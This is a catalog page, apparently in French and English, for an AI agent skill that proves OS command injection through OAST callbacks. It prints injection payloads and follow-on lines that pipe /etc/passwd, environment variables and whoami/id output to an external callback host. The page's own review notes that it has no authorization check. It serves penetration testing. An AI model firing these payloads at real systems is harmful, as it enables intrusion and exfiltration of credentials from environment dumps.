Injection de commandes vers RCE

VérifiéPrudence

Transformez une suspicion d'injection de commandes OS en preuve d'exécution de code à distance via un rappel OAST, puis montrez un impact minimal sûr comme la lecture d'un fichier.

Spar Skills Guide Bot
SecuriteAvancé
22/07/2026
Claude Code
#command-injection#rce#oast#penetration-testing#cwe-78

Recommandé pour

Synthèse automatique

Prouve qu'un paramètre suspect aboutit à une exécution de commandes OS (RCE) en obtenant un callback OAST, puis en démontrant un seul impact secondaire non destructif.

Points forts

  • Exige une preuve d'exécution par callback OAST (DNS ou HTTP) au lieu de se contenter d'une différence dans la réponse
  • Fournit des variantes de payload adaptées au shell et à l'OS (sh/bash, cmd.exe, PowerShell) et à l'encodage du paramètre (URL, JSON, en-tête)
  • Encadre strictement la démonstration d'impact : une seule action, données tronquées, commandes destructrices explicitement interdites
  • Trace la cible et la preuve via `remember` pour garder une piste d'audit cohérente

Limites

  • Dépend entièrement des outils MCP fournis (oast_mint, oast_poll, replay_request, attack_kit) : inutilisable sans cet arsenal
  • L'exfiltration via DNS peut être tronquée, ce qui limite la quantité de données récupérées
  • Ne couvre volontairement ni le post-exploitation, ni les reverse shells, ni la persistance
Quand l'utiliser

À utiliser quand un paramètre alimente un appel exec/spawn/system, qu'un caractère de shell modifie la réponse, ou qu'un audit signale CWE-78/CWE-77/CWE-94.

Quand l'éviter

À éviter sur une cible de production sans autorisation écrite, ou lorsque toute sortie DNS/HTTP est bloquée et qu'aucune preuve OAST n'est obtenable.

Analyse de sécurité

Prudence
Score qualité86/100

This is a legitimate, well-scoped pentest playbook for proving OS command injection, and it deliberately forbids destructive actions and limits data retrieval to a single masked demo. However, it still instructs sending real system data (env, /etc/passwd) to an external callback and performs live exploitation without any authorization/scope verification, so it warrants caution rather than a clean 'safe' rating.

Points d'attention
  • •Step 3 deliberately exfiltrates real host data (env dump, /etc/passwd, whoami/id/hostname) to an operator-controlled OAST callback; environment variables frequently contain credentials/API keys, so this can transmit secrets off-host.
  • •No authorization or scope gate: the skill assumes the target is in an approved engagement and never asks the agent to verify scope, target ownership, or rate-limit/stealth constraints before firing exploit payloads.
  • •Uses powerful live-fire tooling (replay_request, attack_kit, oast_mint/oast_poll) against production endpoints; step 3 explicitly permits reading /etc/passwd, which is data access beyond minimal proof.
  • •Mitigations present: explicit prohibition on rm, redirect clobbering, package installs, port scans, reverse shells, and persistence; limits follow-on to one demo and one masked line of leaked data.
  • •Depends on the OAST canary being controlled by the tester; if a third-party public OAST service is used, even masked data may be logged by that provider.
Comment cette analyse est faite

Exemples

Ping endpoint differential
The `host` parameter on /api/tools/ping looks like it hits a shell — a trailing `;` changes the response length. Confirm the command injection and prove RCE with an OAST callback.
CWE-78 audit triage
Our audit flagged CWE-78 on the `target` parameter of the traceroute endpoint in the staging app. Verify whether it's real command injection and demonstrate one safe file read as impact.
Image conversion parameter
The `format` parameter on the thumbnail service returns a 500 with 'convert' in the stack trace. Check for command injection and get a callback as proof.

name: command-injection-rce description: Turn suspected OS command injection (a parameter that lands in a shell or a child process) into proof of remote code execution via an OAST callback, plus one safe demonstration of follow-on impact (read a file, list users, env dump). Use when a parameter feeds an exec/spawn/system call, when payloads with $(), `, ;, |, && cause response differences, or when audit flags CWE-78 / CWE-77. Never sends destructive commands. license: MIT allowed-tools:

  • query_records
  • inspect_record
  • replay_request
  • oast_mint
  • oast_poll
  • attack_kit
  • report_finding
  • update_finding
  • remember
  • update_plan

Command Injection → RCE Proof

You have a parameter that smells like it lands in a shell or process exec call. Your job is to prove arbitrary command execution by getting an OAST callback from the server, then demonstrate one minimal follow-on action (a file read, an env dump). Reporting "the response changed when I sent ;" is not enough.

When this skill applies

  • A parameter feeds something likely to exec: cmd=, host= (ping), target= (traceroute), file= (image conversion, PDF render, zip/tar), filter=, format= (ffmpeg, imagemagick), name= on a user-management endpoint that shells out.
  • Response differs when you send characters that have shell meaning: ;, |, &, &&, ||, `, $(...), \n.
  • A 500 error message reveals a binary name (sh, bash, convert, ffmpeg, ImageMagick, node, python, php) in the stack trace or response body.
  • Audit finding: CWE-78 (OS command injection), CWE-77 (command injection), CWE-94 (code injection).

Workflow

1. Confirm a shell metacharacter changes behavior

Pick a candidate parameter from query_records + inspect_record. Send three replay_request probes:

  • Baseline: harmless value (e.g. 8.8.8.8 for a ping endpoint).
  • 8.8.8.8; → trailing separator. Status / length differential?
  • 8.8.8.8 && echo hi → does hi appear in the response, or does the response take longer?

If none of these change the response, the parameter is probably sanitized or doesn't shell out. Stop and pick another candidate.

remember the candidate parameter and which metacharacter triggered the differential (key: cmdinj-target).

2. Confirm execution via OAST

Mint a canary with oast_mint (kind: cmdinj-probe). Inject a payload that performs a DNS or HTTP request to the canary. Choose the encoding by the suspected OS / language:

  • Generic shell: value; curl <canary> or value && nslookup <canary>
  • Backticks: value`` curl <canary>`` (works insh/bash`).
  • $() substitution: value$(curl <canary>).
  • Windows cmd.exe: value & nslookup <canary> (note the single &).
  • PowerShell: value; Invoke-WebRequest <canary>.

Use attack_kit with class: "cmd-injection" to pull canonical payload patterns for the parameter's encoding (URL vs JSON vs header).

Poll oast_poll for 60 seconds. The first DNS or HTTP callback proves execution. DNS-only is still proof (most internal hosts can resolve external names even when HTTP egress is blocked).

remember the callback proof (timestamp, payload, callback URL) with key cmdinj-proof.

3. One follow-on demonstration

Once RCE is proven, send ONE additional payload to size impact. Pick the cheapest demo that establishes "the attacker has hands on the box":

  • File read: ; curl <canary>?d=$(cat /etc/passwd | base64) (base64 to survive DNS encoding; expect truncation).
  • Env dump: ; env | curl --data-binary @- <canary>
  • Hostname / user: ; (whoami; hostname; id) | curl --data-binary @- <canary>

Wait for the callback. Decode the leaked data (base64 if you used it). Include ONE line of the leaked data in the finding — not the whole /etc/passwd.

Do not run destructive commands: no rm, no > /etc/..., no package installs, no port scans, no reverse shells, no persistent mechanisms. The callback + one small data fetch is sufficient proof.

4. Persist the finding

report_finding:

  • severity: critical — OS command execution on the server is always critical regardless of what you leaked.
  • title: name the endpoint, parameter, and the proof: "OS command injection in /api/render filter parameter; OAST callback + reads /etc/passwd".
  • cwe_id: CWE-78.
  • description: 3-4 sentences. The endpoint, the trigger metacharacter, the OAST callback timestamp, and one masked line of the follow-on demo (e.g., "first /etc/passwd line: root:x:0:0:...").
  • Include the exact payload that triggered the callback.

Pitfalls

  • A response delay when you send ; sleep 5 is suggestive but not proof — networking jitter and shared rate limiters cause similar delays. Require an OAST callback before claiming RCE.
  • Some sandboxes (gVisor, nsjail) restrict egress; DNS-only callbacks may be all you get. Note that explicitly in the finding.
  • Image processors (convert, ffmpeg) sometimes have shell injection via filenames or annotation fields — these surfaces are less obvious than cmd=; check filenames.
  • Argument-injection (without shell) is a related but distinct flaw — --config=/etc/passwd against a tool that reads --config files. Still report as CWE-77 / CWE-78 if it leaks data.
  • If the callback URL is base64-encoded data, decode and read it before reporting — sometimes the payload encoding garbled the data in transit and what you have is just truncated noise, not proof.

Output expectations

  • One report_finding (critical) with payload + callback timestamp + one masked line of leaked data.
  • A remember note (key: cmdinj-proof) with the canonical payload.
  • Plan item marked done.

Du fichier au premier essai

Le téléchargement contient exactement le contenu affiché sur cette fiche. Cette copie peut différer de la dernière version du dépôt source.

Consulter la source et ses fichiers annexes

Ce téléchargement contient uniquement SKILL.md. Les scripts, références, modèles et dépendances éventuels ne sont pas inclus. Récupérez les fichiers nécessaires depuis la source en conservant leur arborescence avant de poursuivre.

1. Télécharger le fichier

Télécharger SKILL.md

Depuis la racine d’un projet de test, enregistrez le fichier sous .skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md, ou utilisez la commande suivante. Ce dossier sert à examiner la skill avant son installation.

Commande pour macOS/Linux ou WSL : un shell POSIX et curl sont nécessaires. Sous Windows sans WSL, utilisez le bouton de téléchargement et créez le dossier manuellement.

mkdir -p '.skill-downloads/command-injection-to-rce-proof-mrwakazr' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/command-injection-to-rce-proof-mrwakazr/download' --output '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md.part' && mv '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md.part' '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md'

2. Vérifier les prérequis

Lisez SKILL.md avant de l’utiliser. Si le fichier cite des scripts ou services externes, examinez-les et préparez les accès nécessaires dans votre environnement de test.

Aucune section de prérequis reconnue dans ce fichier. Cela ne signifie pas qu’il est autonome : les bibliothèques, outils et accès peuvent être cités ailleurs dans le contenu ou dans le dépôt source.

Les plateformes de la fiche sont des indications du catalogue. Les chemins ci-dessous suivent la documentation des outils ; ils ne prouvent pas que cette skill y a été exécutée. Aucune version minimale de ces outils n’est attestée pour cette fiche.

3. Charger la skill

Après vérification, copiez le dossier complet dans le projet avec l’une des commandes ci-dessous, puis ouvrez une nouvelle session de l’outil. La commande s’arrête si un dossier du même nom existe déjà : comparez les fichiers avant de le remplacer.

Claude Code
test -f '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md' && test -s '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/command-injection-rce' && cp -R '.skill-downloads/command-injection-to-rce-proof-mrwakazr' '.claude/skills/command-injection-rce'

OpenSkills

OpenSkills doit déjà être installé. La procédure locale install/read est contrôlée avec OpenSkills 1.5.0, qui exige Node.js ≥ 20.6.0. Aucun slug du catalogue n’est résolu automatiquement.

Installation officielle d’OpenSkills
openskills install './.skill-downloads/command-injection-to-rce-proof-mrwakazr'

openskills read 'command-injection-to-rce-proof-mrwakazr'

La lecture doit afficher le contenu du fichier installé et son dossier de base. Elle ne lance ni la skill ni ses dépendances.

Pour un agent qui lit AGENTS.md, synchronisez ensuite l’index. Cette commande modifie AGENTS.md : relisez le diff avant de l’utiliser.

openskills sync

Mode manuel ou autre outil : joignez SKILL.md à une conversation, ou ouvrez-le dans un agent capable de lire les fichiers. Ajoutez les ressources annexes nécessaires. Il n’existe pas de dossier universel reconnu par tous les outils.

4. Faire un premier essai

Utilisez une entrée courte et fictive : un endpoint d’API, un petit document ou un brief d’interface. Dans une nouvelle conversation, joignez le fichier ou donnez son chemin à l’agent, puis adaptez cette demande :

Lis .skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md et applique ses instructions à cet exemple : [décrire une entrée de test]. Indique les fichiers, dépendances ou accès qui manquent. Produis le résultat demandé par la skill sans inventer de données ni exécuter de script non examiné.

Résultat attendu : une sortie correspondant aux instructions de la skill, ou une liste précise des prérequis manquants. Une simple confirmation de lecture ne valide pas le premier usage. Si une ressource externe est indisponible, ce parcours reste à tester.

Skills similaires